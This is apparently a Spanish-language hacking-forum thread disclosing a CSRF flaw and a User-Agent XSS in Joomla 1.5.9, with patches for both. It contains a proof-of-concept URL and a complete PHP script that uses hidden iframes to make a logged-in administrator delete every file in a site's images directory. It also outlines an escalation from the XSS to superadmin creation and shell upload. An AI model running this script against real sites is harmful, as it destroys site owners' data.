Múltiples fallas en Joomla 1.5.9 + PoC [Instalacion de una shell]

[WHK]

Vulnerabilidad de tipo CSRF en Joomla! 1.5.9

He localizado una falla en Joomde tipo CSRF (Cross Site Rquest Forgery) que permite a un atacante la posibilidad de eliminar el directorio completo de imagenes lo cual sería fatál como para un sitio de noticias donde prescindisa de sus imagenes para poder dar su información. Esta falla no permite al atacante la posibilidad de subir un archivo ni eliminar los que estén fuera del directorio "/images".

La falla se localiza en el módulo de Administracion llamado "Media Manager" donde su petición GET para solicitar la eliminación de un directorio o archivo no incluye ningún Token o sistema de seguridad válido para impedir este tipo de ataques.

Prueba de concepto:
http://ejemplo.com/administrator/index.php?option=com_media&task=file.delete&tmpl=component&folder=directorio&rm[]=Imagen.jpg

El punto es que la falla se localiza en el archivo administrator/com_media/controllers/file.php en la linea 136 donde se omite el token de seguridad:





Un atacante necesitaría que el un usuario del sistema Joomla tenga derechos de Administración y caiga en algún tipo de engaño como una imagen falsa que redireccione hacia el borradoinicialmente del index.html que impidía ver los archivos, una ves eliminado el mismo script podría tener la capacidad de listar todos los archivos a eliminar con un segundo ataque puesto por ejemplo dos veces en una misma firma dentro de algún foro o publicación parcial del mismo sistema como editor.

Nota:
Los archivos que pueden ser eliminados no necesariamente deben ser imagenes ya que el sistema solo permite la subida de imagenes pero la eliminación de cualquier tipo de archivo.
Para poder repararlo solamente debes agregar el token de seguridad tal como aparece en la función de subida.

Fuentes:
http://foro.elhacker.net/nivel_web/bug_en_joomla_159_eliminacion_del_directorio_de_imagenes_por_completo-t244742.0.html
http://www.jccharry.com/blog/2009/02/09/whk_vulnerabilidad-de-tipo-csrf-en-joomla-159.html
http://forum.joomla.org/viewtopic.php?f=300&t=371705

[berz3k]

hoho,  nice!, mmm que los filtros de Joomla no estan agregados? a simple vista el code es vulnerable, con el simple hecho al llamado de la funcion, uff se jode todo con el CSRF.

-berz3k.

[alakentu]

Hola.

Y como logramos impedir esto?
Cual es el código a insertar/utilzar, para remediar dicha falla?

Será que soy muy bruto y ademas que no pico código que no lo veo por ningun lado!

Cual es la solución a esto hermano.?

[alakentu]

Hola.

Bueno la solución es sencilla, aquí está, buscamos el archivo <b>file.php</b>, que se encuentra en:

..administrator/components/com_media/controllers

* En la línea 36 tenemos el llamado a la función upload:

Código [Seleccionar] Expandir

        function upload()
        {
                global $mainframe;

                // Check for request forgeries
                JRequest::checkToken( 'request' ) or jexit( 'Invalid Token' );


* Debemos cambiarlo por esto:

Código [Seleccionar] Expandir

        function upload()
        {
                global $mainframe;

                // Check for request forgeries
                JRequest::checkToken( 'request' ) or jexit(JText::_('JINVALID_TOKEN'));


* Ahora buscamos el archivo <b>folder.php</b> de esa misma carpeta.
* En la línea 57 tenemos

Código [Seleccionar] Expandir

                          if ($path !== JFile::makeSafe($path)) {

* Cambiarlo a:

Código [Seleccionar] Expandir

                                if ($path !== JFilterInput::clean($path, 'path')) {

Más abajo en la línea 100 tenemos:

Código [Seleccionar] Expandir

                JRequest::checkToken() or jexit( 'Invalid Token' );

* Cambiarlo a:

Código [Seleccionar] Expandir

                JRequest::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

* Seguimos más abajo en la línea 120 y tenemos:

Código [Seleccionar] Expandir

                          jimport('joomla.filesystem.*');
                                JFolder::create($path);
                                JFile::write($path.DS."index.html", "<html>\n<body bgcolor=\"#FFFFFF\">\n</body>\n</html>");

* Cambiarlo a:

Código [Seleccionar] Expandir

                          jimport('joomla.filesystem.*');
                                JFolder::create($path);
                                $file = '<html>\n<body>\n</body>\n</html>';
                                JFile::write($path.DS.'index.html', $file);

Hasta ahora eso es todo lo que pude obtener.

Saludos

[berz3k]

@alakentu, la gran magia del

Código [Seleccionar] Expandir


jexit(JText::_('JINVALID_TOKEN'));


-berz3k

PD: Voy a probar el fix

[Dacan]

Muy buen aporte, lo probare en localhost.

saludos, Dacan 

[invisible_hack]

Fantastico post, y muy bien detallado, aunque creo que seria mejor que lo reportaras a los interesados por privado y luego una vez corregido el bug lo explicases, mas que nada para evitar malos usos de esta información....

[WHK]

Pero este no sería subforo de bugs y exploits sin el exploit XD

Código (php) [Seleccionar] Expandir

<?php
// Joomla 1.5.9 Eliminacion arbitraria del directorio de imagenes por WHK
// http://foro.elhacker.net/nivel_web/bug_en_joomla_159_eliminacion_del_directorio_de_imagenes_por_completo-t244742.0.html
$WEB_VULNERABLE = 'http://www.ejemplo.com/';
if(!$archivos = obtener_archivos($WEB_VULNERABLE.'images/')){
 echo '<iframe src="'.$WEB_VULNERABLE.'administrator/index.php?option=com_media&task=file.delete&tmpl=component&folder=&rm[]=index.html" width="1" height="1" frameborder="0"></iframe>'; 
 ob_get_contents(); // Desplegamos el iframe y causamos una interrupcion...
 sleep(5); // Damos unos 5 segundos para que se elimine el index.html que protege al directorio
}
// Continuamos con el plan...
if($archivos = obtener_archivos($WEB_VULNERABLE.'images/')){
/* Creamos los iframes que forzaran la eliminacion de todos los archivos de una sola vez */
 foreach($archivos as $valor){
 // Reconociendo si es archivo o directorio
 if(eregi('/', $valor[(count($valor)-1)])){ $tipo = 'folder'; }else{ $tipo = 'file'; }
 echo '<iframe src="'.
 $WEB_VULNERABLE.'administrator/index.php?option=com_media&task='.$tipo
 .'.delete&tmpl=component&folder=&rm[]='.urlencode($valor)
 .'" width="1" height="1" frameborder="0"></iframe>'; 
 }
}
function obtener_archivos($url){
 $buffer = explode(']"> <a href="', file_get_contents($url));
 foreach($buffer as $item=> $valor){
  if($item != '0'){ // Procesa solamente links
   $temporal = explode('"', $valor);
   $retorno[count($retorno)] = $temporal[0];
  }
 }
 return $retorno;
}
?>

Metes este php dentro de un iframe por ahi en una web y le dices al administrador que la visualize :p pero está mas que claro que estoy demostrando el esenario de un atacante para que puedan comprender como protegerse, por ejemplo no aceptando todo tipo de links que vean, navegar sin scripts o con no-script para blokear esos dichosos iframes, nunca ver otros sitios webs con el usuario de administracion logueado, etc etc.

PD: alakentu bienvenido al foro.

[alakentu]

De hecho...

La vulnerabilidad se presenta en varios archivos y no solamente en file.php y default.php del com_media.

Hay otros componentes de joomla 1.5.9 que poseen la misma característica de "permiso" a los malos, para que puedan darnos un mal día.

Recomeindo amplaimente seguir de creca los cambios en joomla a travez de Joomla Code.

Saludos.

[WHK]

Vulnerabilidad de tipo XSS en Joomla! 1.5.9

Bueno, además del CSRF que habia encontrado anteriormente me topé con este nuevo bug buscando en las opciones de Administración. El componente afectado es el com_admin en la sección sysinfo como en el siguiente ejemplo:

http://www.ejemplo.com/portada/administrator/index.php?option=com_admin&task=sysinfo

El XSS se produce cuando se procesa el User-Agent del explorador declarado en las cabezeras:



Imagen en tamaño completo: http://img144.imageshack.us/img144/1456/dibujokw5.png

Ahora si esto lo pasamos al javascript podremos tomar el valor del token y enviar peticiones POST via ajax para crear superadministradores o hacer cambios en cualquier configuración, con esto solo bastaría subir un mod con una shell y sería todo para el administrador.

La desventaja para el atacante es que la explotación de un XSS via User-Agent solo era posible debido a fallas encontradas en flash tal como lo muestran en los siguientes enlaces:
http://sla.ckers.org/forum/read.php?2,14534
http://ha.ckers.org/blog/20070712/user-agent-spoofable-using-certain-programming-languages/
http://kuza55.blogspot.com/2007/07/exploiting-reflected-xss.html

Pero hoy en dia no conozco ninguna forma de realizar dicha explotación, pero con el tiempo hemos aprendido de que nada es imposibles y cada dia aparecen nuevas formas de hacer las cosas, hasta entonces este bug queda en manos de los chicos 0days  una vez realizado esto las posibilidades de explotar la falla son muchisimas y podrías hasta comprometer el servidor por completo pero como decía, esto está dificil de explotar.

De todas formas no deja de ser un bug y espero que Joomla pueda repararlo ya que en un futuro nadie sabe si se encontrará la forma de modificar dichas cabezeras y sería todo para los administradores de este sistema.

La falla está en el archivo administrator/com_admin/tmpl/sysinfo_system.php Linea 93

Código (php) [Seleccionar] Expandir

<?php echo phpversion() <= "4.2.1" ? getenv( "HTTP_USER_AGENT" ) : $_SERVER['HTTP_USER_AGENT'];?>
Modificar por:

Código (php) [Seleccionar] Expandir

<?php echo phpversion() <= "4.2.1" ? htmlspecialchars(getenv( "HTTP_USER_AGENT" ), ENT_QUOTES) : htmlspecialchars($_SERVER['HTTP_USER_AGENT'], ENT_QUOTES);?>

De todas formas veo que casi ningún dato va con escape de carácteres HTML, que pasaría si algún otro valor contiene carácteres especiales tambien? yo me aseguraría y modificaría cada salida de datos por htmlspecialchars($buffer, ENT_QUOTES).

Fuente:
http://forum.joomla.org/viewtopic.php?f=300&t=371705&start=0

PD: conviné los post que habia hecho sobre joomla y los hize uno solo para que estubiera todo mas organizado y no hacer un tema cada ves que se encuentre alguna falla de esta version de joomla.